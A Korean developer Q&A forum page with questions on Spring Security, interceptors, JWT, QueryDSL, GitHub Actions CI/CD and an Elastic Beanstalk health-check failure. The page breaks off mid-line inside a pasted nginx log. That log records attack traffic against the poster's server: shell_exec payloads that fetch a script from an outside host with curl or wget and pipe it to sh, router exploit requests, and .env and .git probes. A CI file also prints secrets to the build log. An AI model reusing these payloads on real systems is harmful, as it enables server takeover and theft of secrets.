묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결
안녕하세요. 현재 개발중인 spring security 설정 문의 드립니다.
안녕하세요 현재 java17 + spring boot 3.0 + gradle 7.7.6 + mybatis로 개발셋팅중인데..spring security 설정에서 삽질중인데...http://localhost:8088/twinadm/login => 로그인,로그아웃 , 권한체크 잘됨.http://192.168.1.46:8088/twinadm/login => 로그인,로그아웃 안됨. 로그인 하면org.springframework.security.web.csrf.MissingCsrfTokenException: Could not verify the provided CSRF token because no token was found to compare.이런에러가 떨어짐. 위와 같이 로컬은 잘되는데 IP 접근시에는 저런에러가 떨어집니다 ㅠㅠ.. 소스 설정은 아래와 같습니다. public class AdminSecurityConfig { private final AdminAccessDeniedHandler adminAccessDeniedHandler; @Autowired public AdminSecurityConfig(AdminAccessDeniedHandler adminAccessDeniedHandler) { this.adminAccessDeniedHandler = adminAccessDeniedHandler; } @Bean public UserDetailsService adminDetailsService(){ return new AdminDetailService(); } @Bean public PasswordEncoder adminPasswordEncoder(){ return new BCryptPasswordEncoder(); } @Bean public DaoAuthenticationProvider adminAuthenticationProvider(){ DaoAuthenticationProvider provider = new DaoAuthenticationProvider(); provider.setUserDetailsService(adminDetailsService()); provider.setPasswordEncoder(adminPasswordEncoder()); return provider; } @Bean public SecurityFilterChain adminFilterChain(HttpSecurity http) throws Exception { String[] AnyAuthority = {"ROLE_ADMIN","ROLE_ADMININ"}; http.headers().frameOptions().sameOrigin(); // security 설정 추가 [url x-frame-options : cro] http.headers(headers -> headers.cacheControl(cache -> cache.disable())); http.csrf() .ignoringAntMatchers() .ignoringRequestMatchers(); http // .antMatcher("/admin/**") .authenticationProvider(adminAuthenticationProvider()) // .authorizeHttpRequests().antMatchers("/admin/site/**").hasAnyAuthority("ROLE_ADMIN") // url 마다 권한 처리 .antMatcher("/admin/**") .authorizeRequests(authorize -> authorize .anyRequest() // .hasAuthority("ROLE_ADMIN")) // 단일 권한 .hasAnyAuthority(AnyAuthority)) // 여러권한 .formLogin(login -> login .loginPage("/admin/login") // GET 요청 (login form을 보여줌) .loginProcessingUrl("/admin/adminLoginProc") // POST 요청 (login 창에 입력한 데이터를 처리) .failureUrl("/admin/login?error=true") .usernameParameter("email") // login에 필요한 id 값을 email로 설정 (default는 username) .passwordParameter("password") // login에 필요한 password 값을 password(default)로 설정 .defaultSuccessUrl("/admin").permitAll()); http.exceptionHandling().accessDeniedHandler(adminAccessDeniedHandler); http .logout(logout -> logout .logoutUrl("/admin/adminLogout") .addLogoutHandler((request, response, authentication) -> { HttpSession session = request.getSession(); session.removeAttribute("SPRING_SECURITY_CONTEXT"); }) .invalidateHttpSession(false) .logoutSuccessUrl("/admin/login")); // logout에 성공하면 /로 redirect // 인증 거부 관련 처리 return http.build(); } // @Bean // public AdminSecurityCustomizer adminSecurityCustomizer() { // return (web) -> web.ignoring().antMatchers("/h2-console/**"); // } } 여기서 제가 잘못 설정한게 있을까요? 고수님들께 질문드립니다.. 조언 및 소스 수정의 키워드좀 알려주세요 ㅠㅠ
-
미해결
스프링 인터셉터가 동작하지 않아 질문드립니다.
안녕하세요, 스프링 MVC 강의를 완강이후 프로젝트를 수행중인 학부생입니다.로그인 기능 구현과 관련하여 강의 예제 코드를 참고하며 구현하던 중이해할 수 없는 현상이 발생하여 질문 드립니다. 코드LoginInterceptor.javapackage Alchole_free.Cockpybara.interceptor; import Alchole_free.Cockpybara.constant.SessionLoginConst; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Component; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; @Slf4j //@Component public class LoginInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpSession session = request.getSession(); log.info("session = {}", session); if(session==null || session.getAttribute(SessionLoginConst.LOGIN_MEMBER)==null){ log.info("로그인되지 않은 사용자"); response.sendRedirect("/login"); return false; } log.info("정상 요청"); return true; } } WebConfig.javapackage Alchole_free.Cockpybara.config; import Alchole_free.Cockpybara.interceptor.LoginInterceptor; import lombok.RequiredArgsConstructor; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; //@Slf4j @Configuration //@RequiredArgsConstructor public class WebConfig implements WebMvcConfigurer { // private final LoginInterceptor loginInterceptor; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new LoginInterceptor()) .order(1) .addPathPatterns("/**") .excludePathPatterns("/", "/join", "/login", "/css/**", "/*.ico", "/error"); } } 문제위와 같이 코드를 구성하고 애플리케이션을 동작시켰는데, 인터셉터가 아예 로그에 남지않는(생성되지 않는 것으로 보이는) 현상이 발생하였습니다. 관련하여 구글링을 하다보니인터셉터 클래스를 빈으로 등록해주는 형태가 아니면 동작하지 않을 수 있다고 하여,빈으로 등록하고 WebConfig 클래스에서 생성자를 통해 주입받는 형태로 구현도 해보았는데여전히 같은 문제가 발생하더군요. 도대체 어느 부분에서 문제가 발생하는 것인지파악하기가 힘들어 고민끝에 질문드립니다. 혹시 몰라 아래 빌드, 설정 파일도 첨부합니다. 문제 실행 화면/hello 로 Controller @GetMapping 메서드를 구현해놓고 요청을 보냈으나 인터셉터 관련 로그가기록되지 않는 모습입니다.build.gradleplugins { id 'java' id 'org.springframework.boot' version '2.7.13' id 'io.spring.dependency-management' version '1.0.15.RELEASE' } group = 'Alchole_free' version = '0.0.1-SNAPSHOT' java { sourceCompatibility = '11' } configurations { compileOnly { extendsFrom annotationProcessor } } repositories { mavenCentral() } dependencies { implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'org.springframework.boot:spring-boot-starter-validation' compileOnly 'org.projectlombok:lombok' runtimeOnly 'org.mariadb.jdbc:mariadb-java-client' annotationProcessor 'org.projectlombok:lombok' testImplementation 'org.springframework.boot:spring-boot-starter-test' //swagger 설정 implementation group:'io.springfox', name:'springfox-swagger2', version:'2.8.0' implementation group:'io.springfox', name:'springfox-swagger-ui', version:'2.8.0' } tasks.named('test') { useJUnitPlatform() } application.properties# ?????? ?? ?? spring.datasource.url=jdbc:mariadb://localhost:3306/cockpybara spring.datasource.username=root spring.datasource.password=cockpybara spring.datasource.driver-class-name=org.mariadb.jdbc.Driver # JPA ?? spring.jpa.show-sql=true spring.jpa.hibernate.ddl-auto=create spring.jpa.properties.hibernate.format_sql=true //JPA ???? Hibernate? ????? ???? SQL? formating?? ?? spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL57Dialect #show parameter binding logging.level.org.hibernate.type.descriptor.sql=DEBUG logging.level.org.hibernate.SQL=DEBUG
-
미해결
JWT 에러
ECDSA signing keys must be PrivateKey instances. 이거는 대체 무슨에러죠 ? ㅠㅠ해결방법이 안나오네요 ㅠㅠ
-
미해결
spring boot 3.x 업그레이드 후 querydsl transform 함수 작동이 안됩니다.
안녕하세요. spring boot 3.1.0 으로 업그레이드하여 hibernate 6.2.2 버전을 사용하고 있습니다.Querydsl 로 개발 도중 간단한 select 문은 정상적으로 작동이 되었는데,transform(groupBy().list()) 함수를 사용하니 에러가 발생하였습니다.java.lang.NoSuchMethodError: 'java.lang.Object org.hibernate.ScrollableResults.get(int)' at com.querydsl.jpa.ScrollableResultsIterator.next(ScrollableResultsIterator.java:70) at com.querydsl.core.group.GroupByMap.transform(GroupByMap.java:57) at com.querydsl.core.group.GroupByMap.transform(GroupByMap.java:35) at com.querydsl.core.support.FetchableQueryBase.transform(FetchableQueryBase.java:55) 버전 문제인 것 같아 spring boot 2.x 버전으로 내리고 hibernate도 5.x 버전으로 내리니 정상 작동하더라구요...spring boot 3.x 로 업그레이드하면서 transform() 함수가 제대로 동작을 안 하는 걸까요?
-
해결됨
GithubAction CI/CD 질문드립니다
현재 GithubAction + AWS S3 + CodeDeploy CI/CD 구축 중입니다.CI.yml 파일 코드는name: Java CI with Gradle# master 브랜치의 push와 pull로 CI가 작동on: push: branches: [ "be-dev" ] pull_request: branches: [ "be-dev" ]permissions: contents: readjobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Set up JDK 11 uses: actions/setup-java@v3 with: # 자신이 사용하는 자바 버전에 맞춰주자 java-version: '11' distribution: 'temurin' - uses : actions/checkout@v3 #1 # 해당 부분은 상당히 중요함 (글에서 부가설명) # application.yml는 외부에 노출되면 안되므로 Actions가 빌드될때마다 해당 Repository의 Secret 설정을 # 이용하여서 설정 파일을 생성해줌 (github에 commit 되는게 아님!) - run : touch ./server/src/main/resources/application.yml - run : echo "${{ secrets.APPLICATION }}" > ./server/src/main/resources/application.yml - run : cat ./server/src/main/resources/application.yml # gradlew에 권한 부여 - name: Grant execute permission for gradlew run: chmod +x ./server/gradlew shell: bash # gradlew 빌드 - name: init with Gradle uses: gradle/gradle-build-action@v2 - run: gradle init - name: Build with Gradle uses: gradle/gradle-build-action@v2 with: gradle-version: 7.5.1 arguments: build # 빌드를 성공하면 해당 프로젝트를 zip로 만듬 # 이름은 run 에서 설정 가능 - name: Make zip file run: zip -r ./main13.zip . shell: bash #2 # AWS 계정 설정 - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v1 with: # 깃허브 Secret에 넣어둔 Access key aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} # 깃허브 Secret에 넣어둔 Secret key aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} # 깃허브 Secret에 넣어둔 Region aws-region: ${{ secrets.AWS_REGION }} #3 # 만들어 놓은 S3에 해당 zip 파일 저장 - name: Upload to S3 run: aws s3 cp --region ${{ secrets.AWS_REGION }} ./main13.zip s3://api.hard-coding.com/main13.zip #4 # AWS CodeDeploy에 배포 - name: Deploy env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: | S3 설정내용입니다. 액션에서는 성공으로 나오는데 제가 생각하기에는 Task 생성이 제대로 되는 것 같지 않고빌드된 파일들이 S3 버킷을 통해서 ec2로 들어왔을때도 빌드파일은 존재하지 않습니다.당연히 deploy.sh 파일에서도build 폴더가 존재하지 않아 실행되지 않습니다.어디서 문제인지 혹은 빌드파일이 생성되지 않는 문제 조언부탁드립니다...
-
미해결
elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)
안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() 